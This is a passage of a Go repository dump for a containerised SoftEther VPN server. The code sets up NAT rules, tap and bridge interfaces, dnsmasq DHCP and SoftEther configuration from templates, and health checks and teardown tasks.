ps.FindProcess(pid) 123 | 124 | if err != nil { 125 | t.Log.Debugln(err) 126 | } 127 | 128 | if process == nil { 129 | return fmt.Errorf("DNSMASQ process is not alive.") 130 | } 131 | } 132 | 133 | t.Log.Debugf( 134 | "Next DNSMASQ process health check in: %s", 135 | tl.Pipe.Health.CheckInterval.String(), 136 | ) 137 | 138 | return nil 139 | }) 140 | } 141 | -------------------------------------------------------------------------------- /pipe/interfaces.go: -------------------------------------------------------------------------------- 1 | package pipe 2 | 3 | type ( 4 | DnsMasqConfigurationTemplate struct { 5 | TapInterface string 6 | RangeStartAddress string 7 | RangeEndAddress string 8 | RangeNetmask string 9 | LeaseTime string 10 | Gateway string 11 | ForwardingZone []string 12 | } 13 | 14 | SoftEtherConfigurationTemplate struct { 15 | Interface string 16 | DefaultHub string 17 | } 18 | ) 19 | -------------------------------------------------------------------------------- /pipe/pipe.go: -------------------------------------------------------------------------------- 1 | package pipe 2 | 3 | import ( 4 | "time" 5 | 6 | . "gitlab.kilic.dev/libraries/plumber/v5" 7 | ) 8 | 9 | type ( 10 | Health struct { 11 | CheckInterval time.Duration 12 | DhcpServerAddress string 13 | EnablePing bool 14 | } 15 | 16 | DhcpServer struct { 17 | Template string `validate:"omitempty,file"` 18 | Lease string 19 | Gateway string `validate:"omitempty,ip"` 20 | SendGateway bool 21 | ForwardingZone []string 22 | } 23 | 24 | LinuxBridge struct { 25 | BridgeInterface string 26 | UpstreamInterface string 27 | UseDhcp bool 28 | StaticIp string `validate:"omitempty,ip"` 29 | } 30 | 31 | SoftEther struct { 32 | Template string `validate:"file"` 33 | TapInterface string 34 | DefaultHub string 35 | } 36 | 37 | Server struct { 38 | Mode string `validate:"oneof=dhcp bridge"` 39 | CidrAddress string `validate:"cidrv4"` 40 | } 41 | 42 | Pipe struct { 43 | Ctx 44 | 45 | Health 46 | DhcpServer 47 | LinuxBridge 48 | SoftEther 49 | Server 50 | } 51 | ) 52 | 53 | var TL = TaskList[Pipe]{ 54 | Pipe: Pipe{}, 55 | } 56 | 57 | func New(p *Plumber) *TaskList[Pipe] { 58 | return TL.New(p). 59 | ShouldRunBefore(func(tl *TaskList[Pipe]) error { 60 | return ProcessFlags(tl) 61 | }). 62 | Set(func(tl *TaskList[Pipe]) Job { 63 | return tl.JobSequence( 64 | Tasks(tl).Job(), 65 | Services(tl).Job(), 66 | HealthCheck(tl).Job(), 67 | tl.JobWaitForTerminator(), 68 | ) 69 | }). 70 | SetRuntimeDepth(2) 71 | } 72 | -------------------------------------------------------------------------------- /pipe/services.go: -------------------------------------------------------------------------------- 1 | package pipe 2 | 3 | import ( 4 | . "gitlab.kilic.dev/libraries/plumber/v5" 5 | ) 6 | 7 | func Services(tl *TaskList[Pipe]) *Task[Pipe] { 8 | return tl.CreateTask("services", "parent"). 9 | SetJobWrapper(func(_ Job, _ *Task[Pipe]) Job { 10 | return tl.JobParallel( 11 | RunDnsServer(tl).Job(), 12 | RunSoftEtherVpnServer(tl).Job(), 13 | ) 14 | }) 15 | } 16 | 17 | func RunDnsServer(tl *TaskList[Pipe]) *Task[Pipe] { 18 | return tl.CreateTask("dnsmasq"). 19 | ShouldDisable(func(t *Task[Pipe]) bool { 20 | return t.Pipe.Server.Mode != SERVER_MODE_DHCP 21 | }). 22 | Set(func(t *Task[Pipe]) error { 23 | t.CreateCommand( 24 | "dnsmasq", 25 | ). 26 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG). 27 | AddSelfToTheTask() 28 | 29 | return nil 30 | }). 31 | ShouldRunAfter(func(t *Task[Pipe]) error { 32 | if err := t.RunCommandJobAsJobSequence(); err != nil { 33 | return err 34 | } 35 | 36 | t.Log.Infoln("Started DNSMASQ DHCP server.") 37 | 38 | return nil 39 | }). 40 | EnableTerminator(). 41 | SetOnTerminator(func(_ *Task[Pipe]) error { 42 | return TerminateDhcpServer(tl).Run() 43 | }) 44 | } 45 | 46 | func RunSoftEtherVpnServer(tl *TaskList[Pipe]) *Task[Pipe] { 47 | return tl.CreateTask("softether"). 48 | Set(func(t *Task[Pipe]) error { 49 | t.CreateCommand( 50 | "softether-vpnsrv", 51 | "start", 52 | ). 53 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG). 54 | AddSelfToTheTask() 55 | 56 | return nil 57 | }). 58 | ShouldRunAfter(func(t *Task[Pipe]) error { 59 | if err := t.RunCommandJobAsJobSequence(); err != nil { 60 | return err 61 | } 62 | 63 | t.Log.Infoln("Started SoftEtherVPN server.") 64 | 65 | return nil 66 | }). 67 | EnableTerminator(). 68 | SetOnTerminator(func(_ *Task[Pipe]) error { 69 | return TerminateSoftEther(tl).Run() 70 | }) 71 | } 72 | -------------------------------------------------------------------------------- /pipe/tasks.go: -------------------------------------------------------------------------------- 1 | package pipe 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "net" 7 | "os" 8 | "path" 9 | "strings" 10 | "text/template" 11 | 12 | "github.com/apparentlymart/go-cidr/cidr" 13 | . "gitlab.kilic.dev/libraries/plumber/v5" 14 | ) 15 | 16 | func Tasks(tl *TaskList[Pipe]) *Task[Pipe] { 17 | return tl.CreateTask("tasks", "parent"). 18 | SetJobWrapper(func(_ Job, _ *Task[Pipe]) Job { 19 | return tl.JobSequence( 20 | Setup(tl).Job(), 21 | 22 | tl.JobParallel( 23 | CreatePostroutingRules(tl).Job(), 24 | GenerateDhcpServerConfiguration(tl).Job(), 25 | GenerateSoftEtherServerConfiguration(tl).Job(), 26 | ), 27 | 28 | tl.JobSequence( 29 | CreateTapDevice(tl).Job(), 30 | BridgeSetupParent(tl).Job(), 31 | ), 32 | 33 | RunPostTasksHook(tl).Job(), 34 | ) 35 | }) 36 | } 37 | 38 | func Setup(tl *TaskList[Pipe]) *Task[Pipe] { 39 | return tl.CreateTask("init"). 40 | Set(func(t *Task[Pipe]) error { 41 | // set network setup 42 | _, network, err := net.ParseCIDR(t.Pipe.Server.CidrAddress) 43 | 44 | if err != nil { 45 | return err 46 | } 47 | 48 | t.Pipe.Ctx.Server.Network = network 49 | 50 | t.Log.Debugf("Network parsed: %s", t.Pipe.Ctx.Server.Network.String()) 51 | 52 | if t.Pipe.Ctx.Server.RangeStart, err = cidr.Host(network, 1); err != nil { 53 | return err 54 | } 55 | 56 | if t.Pipe.Ctx.Server.RangeEnd, err = cidr.Host(network, -2); err != nil { 57 | return err 58 | } 59 | 60 | t.Log.Debugf( 61 | "Network start address: %s, Network end address: %s", 62 | t.Pipe.Ctx.Server.RangeStart.String(), 63 | t.Pipe.Ctx.Server.RangeEnd.String(), 64 | ) 65 | 66 | // set default health address 67 | if t.Pipe.Health.DhcpServerAddress == "" { 68 | t.Lock.Lock() 69 | t.Pipe.Health.DhcpServerAddress = t.Pipe.Ctx.Server.RangeStart.String() 70 | t.Lock.Unlock() 71 | 72 | t.Log.Debugf( 73 | "Default health address for DHCP server set as default: %s", 74 | t.Pipe.Health.DhcpServerAddress, 75 | ) 76 | } 77 | 78 | return nil 79 | }) 80 | } 81 | 82 | func CreatePostroutingRules(tl *TaskList[Pipe]) *Task[Pipe] { 83 | return tl.CreateTask("postrouting"). 84 | Set(func(t *Task[Pipe]) error { 85 | t.CreateCommand( 86 | "iptables", 87 | "-t", 88 | "nat", 89 | "-A", 90 | "POSTROUTING", 91 | "-s", 92 | t.Pipe.Server.CidrAddress, 93 | "-j", 94 | "MASQUERADE", 95 | ). 96 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG). 97 | AddSelfToTheTask() 98 | 99 | return nil 100 | }). 101 | ShouldRunAfter(func(t *Task[Pipe]) error { 102 | if err := t.RunCommandJobAsJobParallel(); err != nil { 103 | return err 104 | } 105 | 106 | t.Log.Infof("Created postrouting rules for: %s", t.Pipe.Server.CidrAddress) 107 | 108 | return nil 109 | }) 110 | } 111 | 112 | func GenerateDhcpServerConfiguration(tl *TaskList[Pipe]) *Task[Pipe] { 113 | return tl.CreateTask("conf", "dnsmasq"). 114 | ShouldDisable(func(t *Task[Pipe]) bool { 115 | return t.Pipe.Server.Mode != SERVER_MODE_DHCP 116 | }). 117 | ShouldRunBefore(func(t *Task[Pipe]) error { 118 | // set default gateway address 119 | if t.Pipe.DhcpServer.Gateway == "" && t.Pipe.DhcpServer.SendGateway { 120 | t.Lock.Lock() 121 | t.Pipe.DhcpServer.Gateway = t.Pipe.Ctx.Server.RangeStart.String() 122 | t.Lock.Unlock() 123 | 124 | t.Log.Debugf( 125 | "Default gateway address for DHCP server set as default: %s", 126 | t.Pipe.Health.DhcpServerAddress, 127 | ) 128 | } 129 | 130 | return nil 131 | }). 132 | Set(func(t *Task[Pipe]) error { 133 | linkFrom := path.Join(CONF_DIR, CONF_DNSMASQ_NAME) 134 | linkTo := path.Join(CONF_DNSMASQ_DIR, CONF_DNSMASQ_NAME) 135 | 136 | //nolint: nestif 137 | if _, err := os.Stat(linkFrom); os.IsNotExist(err) { 138 | // generate dnsmasq configuration 139 | tmpl, err := template.ParseFiles(t.Pipe.DhcpServer.Template) 140 | 141 | if err != nil { 142 | return err 143 | } 144 | 145 | output := new(bytes.Buffer) 146 | 147 | if err := tmpl.Execute(output, DnsMasqConfigurationTemplate{ 148 | TapInterface: fmt.Sprintf("tap_%s", t.Pipe.SoftEther.TapInterface), 149 | RangeStartAddress: t.Pipe.Ctx.Server.RangeStart.String(), 150 | RangeEndAddress: t.Pipe.Ctx.Server.RangeEnd.String(), 151 | Gateway: t.Pipe.DhcpServer.Gateway, 152 | RangeNetmask: net.IP(t.Pipe.Ctx.Server.Network.Mask).String(), 153 | LeaseTime: t.Pipe.DhcpServer.Lease, 154 | ForwardingZone: t.Pipe.DhcpServer.ForwardingZone, 155 | }); err != nil { 156 | return err 157 | } 158 | 159 | f, err := os.Create(linkFrom) 160 | 161 | if err != nil { 162 | return err 163 | } 164 | 165 | defer f.Close() 166 | 167 | if _, err = f.Write(output.Bytes()); err != nil { 168 | return err 169 | } 170 | 171 | t.Log.Infof("DHCP server configuration file generated: %s", linkFrom) 172 | } else { 173 | t.Log.Infof("Persistent configuration file found: %s", linkFrom) 174 | } 175 | 176 | if err := os.Remove(linkTo); err != nil { 177 | t.Log.Debugf(err.Error()) 178 | } 179 | 180 | return os.Symlink(linkFrom, linkTo) 181 | }) 182 | } 183 | 184 | func GenerateSoftEtherServerConfiguration(tl *TaskList[Pipe]) *Task[Pipe] { 185 | return tl.CreateTask("conf", "softether"). 186 | Set(func(t *Task[Pipe]) error { 187 | linkFrom := path.Join(CONF_DIR, CONF_SOFTETHER_NAME) 188 | linkTo := path.Join(CONF_SOFTETHER_DIR, CONF_SOFTETHER_NAME) 189 | 190 | //nolint: nestif 191 | if _, err := os.Stat(linkFrom); os.IsNotExist(err) { 192 | // generate softether configuration 193 | tmpl, err := template.ParseFiles(t.Pipe.SoftEther.Template) 194 | 195 | if err != nil { 196 | return err 197 | } 198 | 199 | output := new(bytes.Buffer) 200 | 201 | if err := tmpl.Execute(output, SoftEtherConfigurationTemplate{ 202 | Interface: t.Pipe.SoftEther.TapInterface, 203 | DefaultHub: t.Pipe.SoftEther.DefaultHub, 204 | }); err != nil { 205 | return err 206 | } 207 | 208 | f, err := os.Create(linkFrom) 209 | 210 | if err != nil { 211 | return err 212 | } 213 | 214 | defer f.Close() 215 | 216 | if _, err = f.Write(output.Bytes()); err != nil { 217 | return err 218 | } 219 | 220 | t.Log.Warnf("SoftEtherVPN server configuration file generated: %s", linkFrom) 221 | } else { 222 | t.Log.Infof("Persistent configuration file found: %s", linkFrom) 223 | } 224 | 225 | if err := os.Remove(linkTo); err != nil { 226 | t.Log.Debugf(err.Error()) 227 | } 228 | 229 | return os.Symlink(linkFrom, linkTo) 230 | }) 231 | } 232 | 233 | func CreateTapDevice(tl *TaskList[Pipe]) *Task[Pipe] { 234 | return tl.CreateTask("interface", "tap"). 235 | ShouldRunBefore(func(t *Task[Pipe]) error { 236 | t.Pipe.SoftEther.TapInterface = fmt.Sprintf( 237 | "tap_%s", 238 | t.Pipe.SoftEther.TapInterface, 239 | ) 240 | 241 | // remove existing interface 242 | t.CreateCommand( 243 | "ip", 244 | "tuntap", 245 | "del", 246 | "dev", 247 | t.Pipe.SoftEther.TapInterface, 248 | "mode", 249 | "tap", 250 | ). 251 | SetIgnoreError(). 252 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG). 253 | AddSelfToTheTask() 254 | 255 | return nil 256 | }). 257 | Set(func(t *Task[Pipe]) error { 258 | // create interface 259 | t.CreateCommand( 260 | "ip", 261 | "tuntap", 262 | "add", 263 | "dev", 264 | t.Pipe.SoftEther.TapInterface, 265 | "mode", 266 | "tap", 267 | ). 268 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG). 269 | AddSelfToTheTask() 270 | 271 | // start interface 272 | t.CreateCommand( 273 | "ip", 274 | "link", 275 | "set", 276 | "dev", 277 | t.Pipe.SoftEther.TapInterface, 278 | "up", 279 | ). 280 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG). 281 | AddSelfToTheTask() 282 | 283 | // give the server static ip for dnsmasq when on dhcp mode 284 | if t.Pipe.Server.Mode == SERVER_MODE_DHCP { 285 | t.CreateCommand( 286 | "ifconfig", 287 | t.Pipe.SoftEther.TapInterface, 288 | t.Pipe.DhcpServer.Gateway, 289 | "netmask", 290 | net.IP(t.Pipe.Ctx.Server.Network.Mask).String(), 291 | ). 292 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG). 293 | AddSelfToTheTask() 294 | 295 | t.Log.Debugf( 296 | "Should add gateway to the tap interface: %s -> %s", 297 | t.Pipe.SoftEther.TapInterface, 298 | t.Pipe.DhcpServer.Gateway, 299 | ) 300 | } 301 | 302 | return nil 303 | }). 304 | ShouldRunAfter(func(t *Task[Pipe]) error { 305 | if err := t.RunCommandJobAsJobSequence(); err != nil { 306 | return err 307 | } 308 | 309 | t.Log.Infof( 310 | "Created tap adapter: %s", 311 | t.Pipe.SoftEther.TapInterface, 312 | ) 313 | 314 | return nil 315 | }). 316 | EnableTerminator(). 317 | SetOnTerminator(func(_ *Task[Pipe]) error { 318 | return TerminateTapInterface(tl).Run() 319 | }) 320 | } 321 | 322 | func BridgeSetupParent(tl *TaskList[Pipe]) *Task[Pipe] { 323 | return tl.CreateTask("interface", "bridge", "parent"). 324 | ShouldDisable(func(t *Task[Pipe]) bool { 325 | return t.Pipe.Server.Mode != SERVER_MODE_BRIDGE 326 | }). 327 | SetJobWrapper(func(_ Job, _ *Task[Pipe]) Job { 328 | return tl.JobSequence( 329 | CreateBridgeDevice(tl).Job(), 330 | UseDhcpForBridge(tl).Job(), 331 | UseStaticIpForBridge(tl).Job(), 332 | ) 333 | }) 334 | } 335 | 336 | func CreateBridgeDevice(tl *TaskList[Pipe]) *Task[Pipe] { 337 | return tl.CreateTask("interface", "bridge"). 338 | ShouldDisable(func(t *Task[Pipe]) bool { 339 | return t.Pipe.Server.Mode != SERVER_MODE_BRIDGE 340 | }). 341 | ShouldRunBefore(func(t *Task[Pipe]) error { 342 | // remove existing interface first 343 | t.CreateCommand( 344 | "ifconfig", 345 | t.Pipe.LinuxBridge.BridgeInterface, 346 | "down", 347 | ). 348 | SetIgnoreError(). 349 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG). 350 | AddSelfToTheTask() 351 | 352 | t.CreateCommand( 353 | "brctl", 354 | "delbr", 355 | t.Pipe.LinuxBridge.BridgeInterface, 356 | ). 357 | SetIgnoreError(). 358 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG). 359 | AddSelfToTheTask() 360 | 361 | return nil 362 | }). 363 | Set(func(t *Task[Pipe]) error { 364 | // create new interface 365 | t.CreateCommand( 366 | "brctl", 367 | "addbr", 368 | t.Pipe.LinuxBridge.BridgeInterface, 369 | ). 370 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG). 371 | AddSelfToTheTask() 372 | 373 | // add interfaces 374 | for _, v := range []string{t.Pipe.LinuxBridge.UpstreamInterface, t.Pipe.SoftEther.TapInterface} { 375 | t.CreateCommand( 376 | "brctl", 377 | "addif", 378 | t.Pipe.LinuxBridge.BridgeInterface, 379 | v, 380 | ). 381 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG). 382 | AddSelfToTheTask() 383 | } 384 | 385 | // start the interface 386 | t.CreateCommand( 387 | "ip", 388 | "link", 389 | "set", 390 | "dev", 391 | t.Pipe.LinuxBridge.BridgeInterface, 392 | "up", 393 | ). 394 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG). 395 | AddSelfToTheTask() 396 | 397 | // debug 398 | t.CreateCommand( 399 | "brctl", 400 | "show", 401 | t.Pipe.LinuxBridge.BridgeInterface, 402 | ). 403 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG). 404 | AddSelfToTheTask() 405 | 406 | return nil 407 | }). 408 | ShouldRunAfter(func(t *Task[Pipe]) error { 409 | if err := t.RunCommandJobAsJobSequence(); err != nil { 410 | return err 411 | } 412 | 413 | t.Log.Infof( 414 | "Created bridge adapter: %s -> %s %s", 415 | t.Pipe.LinuxBridge.BridgeInterface, 416 | t.Pipe.SoftEther.TapInterface, 417 | t.Pipe.LinuxBridge.UpstreamInterface, 418 | ) 419 | 420 | return nil 421 | }). 422 | EnableTerminator(). 423 | SetOnTerminator(func(_ *Task[Pipe]) error { 424 | return TerminateDhcpServer(tl).Run() 425 | }) 426 | } 427 | 428 | func UseDhcpForBridge(tl *TaskList[Pipe]) *Task[Pipe] { 429 | return tl.CreateTask("interface", "bridge", "dhcp"). 430 | ShouldDisable(func(t *Task[Pipe]) bool { 431 | return t.Pipe.Server.Mode != SERVER_MODE_BRIDGE || !t.Pipe.LinuxBridge.UseDhcp 432 | }). 433 | Set(func(t *Task[Pipe]) error { 434 | t.CreateCommand( 435 | "dhclient", 436 | "-v", 437 | t.Pipe.LinuxBridge.BridgeInterface, 438 | ). 439 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG). 440 | EnableStreamRecording(). 441 | ShouldRunAfter(func(c *Command[Pipe]) error { 442 | stream := c.GetCombinedStream() 443 | var ip string 444 | for _, line := range stream { 445 | if strings.HasPrefix(line, "bound to") { 446 | ip = line 447 | } 448 | } 449 | 450 | t.Log.Infof( 451 | "Bridge adapter upstream IP: %s -> %s", 452 | t.Pipe.LinuxBridge.BridgeInterface, 453 | ip, 454 | ) 455 | 456 | return nil 457 | }). 458 | AddSelfToTheTask() 459 | 460 | return nil 461 | }). 462 | ShouldRunAfter(func(t *Task[Pipe]) error { 463 | return t.RunCommandJobAsJobSequence() 464 | }) 465 | } 466 | 467 | func UseStaticIpForBridge(tl *TaskList[Pipe]) *Task[Pipe] { 468 | return tl.CreateTask("interface", "bridge", "static"). 469 | ShouldDisable(func(t *Task[Pipe]) bool { 470 | return t.Pipe.Server.Mode != SERVER_MODE_BRIDGE || t.Pipe.LinuxBridge.UseDhcp 471 | }). 472 | Set(func(t *Task[Pipe]) error { 473 | if t.Pipe.LinuxBridge.StaticIp == "" { 474 | return fmt.Errorf("You should define a static IP in the CIDR range if you do not want to use the upstream DHCP server.") 475 | } 476 | 477 | t.CreateCommand( 478 | "ifconfig", 479 | t.Pipe.LinuxBridge.BridgeInterface, 480 | t.Pipe.LinuxBridge.StaticIp, 481 | ). 482 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG). 483 | AddSelfToTheTask() 484 | 485 | return nil 486 | }). 487 | ShouldRunAfter(func(t *Task[Pipe]) error { 488 | return t.RunCommandJobAsJobSequence() 489 | }) 490 | } 491 | 492 | func RunPostTasksHook(tl *TaskList[Pipe]) *Task[Pipe] { 493 | hook := path.Join(HOOKS_DIR, HOOK_POST_TASKS_FILE) 494 | 495 | return tl.CreateTask("hook", "post-tasks"). 496 | ShouldDisable(func(t *Task[Pipe]) bool { 497 | stats, err := os.Stat(hook) 498 | 499 | if err != nil { 500 | t.Log.Debugf("Post tasks hook file not found at the expected location: %s", hook) 501 | 502 | return true 503 | } 504 | 505 | if stats.Mode()&0111 == 0 { 506 | t.Log.Warnf("Post tasks hook file found at the expected location but it is not executable: %s", hook) 507 | 508 | return true 509 | } 510 | 511 | return false 512 | }). 513 | Set(func(t *Task[Pipe]) error { 514 | t.CreateCommand(hook). 515 | AddSelfToTheTask() 516 | 517 | return nil 518 | }). 519 | ShouldRunAfter(func(t *Task[Pipe]) error { 520 | return t.RunCommandJobAsJobSequence() 521 | }) 522 | } 523 | -------------------------------------------------------------------------------- /pipe/terminate.go: -------------------------------------------------------------------------------- 1 | package pipe 2 | 3 | import ( 4 | . "gitlab.kilic.dev/libraries/plumber/v5" 5 | ) 6 | 7 | func TerminateSoftEther(tl *TaskList[Pipe]) *Task[Pipe] { 8 | return tl.CreateTask("terminate", "softether"). 9 | Set(func(t *Task[Pipe]) error { 10 | t.CreateCommand( 11 | "softether-vpnsrv", 12 | "stop", 13 | ). 14 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG). 15 | AddSelfToTheTask() 16 | 17 | return nil 18 | }). 19 | ShouldRunAfter(func(t *Task[Pipe]) error { 20 | return t.RunCommandJob(func(t *Task[Pipe]) Job { 21 | return tl.GuardAlways(t.GetCommandJobAsJobSequence()) 22 | }) 23 | }) 24 | } 25 | 26 | func TerminateDhcpServer(tl *TaskList[Pipe]) *Task[Pipe] { 27 | return tl.CreateTask("terminate", "dnsmasq"). 28 | ShouldDisable(func(t *Task[Pipe]) bool { 29 | return t.Pipe.Server.Mode != SERVER_MODE_DHCP 30 | }). 31 | Set(func(t *Task[Pipe]) error { 32 | t.CreateCommand( 33 | "pkill", 34 | "dnsmasq", 35 | ). 36 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG). 37 | AddSelfToTheTask() 38 | 39 | return nil 40 | }). 41 | ShouldRunAfter(func(t *Task[Pipe]) error { 42 | return t.RunCommandJob(func(t *Task[Pipe]) Job { 43 | return tl.GuardAlways(t.GetCommandJobAsJobSequence()) 44 | }) 45 | }) 46 | } 47 | 48 | func TerminateTapInterface(tl *TaskList[Pipe]) *Task[Pipe] { 49 | return tl.CreateTask("terminate", "interface", "tap"). 50 | Set(func(t *Task[Pipe]) error { 51 | t.CreateCommand( 52 | "ifconfig", 53 | t.Pipe.SoftEther.TapInterface, 54 | "down", 55 | ). 56 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG). 57 | AddSelfToTheTask() 58 | 59 | t.CreateCommand( 60 | "ip", 61 | "link", 62 | "delete", 63 | t.Pipe.SoftEther.TapInterface, 64 | ). 65 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG). 66 | AddSelfToTheTask() 67 | 68 | t.CreateCommand( 69 | "ip", 70 | "tuntap", 71 | "del", 72 | "dev", 73 | t.Pipe.SoftEther.TapInterface, 74 | "mode", 75 | "tap", 76 | ). 77 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEFAULT, LOG_LEVEL_DEBUG). 78 | AddSelfToTheTask() 79 | 80 | return nil 81 | }). 82 | ShouldRunAfter(func(t *Task[Pipe]) error { 83 | return t.RunCommandJob(func(t *Task[Pipe]) Job { 84 | return tl.GuardAlways(t.GetCommandJobAsJobSequence()) 85 | }) 86 | }) 87 | } 88 | 89 | func TerminateBridgeInterface(tl *TaskList[Pipe]) *Task[Pipe] { 90 | return tl.CreateTask("terminate", "interface", "bridge"). 91 | ShouldDisable(func(t *Task[Pipe]) bool { 92 | return t.Pipe.Server.Mode != SERVER_MODE_BRIDGE 93 | }). 94 | Set(func(t *Task[Pipe]) error { 95 | t.CreateCommand( 96 | "ifconfig", 97 | t.Pipe.LinuxBridge.BridgeInterface, 98 | "down", 99 | ). 100 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG). 101 | AddSelfToTheTask() 102 | 103 | t.CreateCommand( 104 | "brctl", 105 | "delbr", 106 | t.Pipe.LinuxBridge.BridgeInterface, 107 | ). 108 | SetLogLevel(LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG, LOG_LEVEL_DEBUG). 109 | AddSelfToTheTask() 110 | 111 | return nil 112 | }). 113 | ShouldRunAfter(func(t *Task[Pipe]) error { 114 | return t.RunCommandJob(func(t *Task[Pipe]) Job { 115 | return tl.GuardAlways(t.GetCommandJobAsJobSequence()) 116 | }) 117 | }) 118 | } 119 | -------------------------------------------------------------------------------- /renovate.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://docs.renovatebot.com/renovate-schema.json", 3 | "extends": [ "local>renovate/renovate-config:default/default" ], 4 | "ignorePresets": [] 5 | } 6 | -------------------------------------------------------------------------------- /version.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | const CLI_NAME = "docker-softether-vpnsrv" 4 | 5 | const DESCRIPTION = "Initiates the SoftEtherVPN server that will run in this container." 6 | 7 | const VERSION = "latest" 8 | --------------------------------------------------------------------------------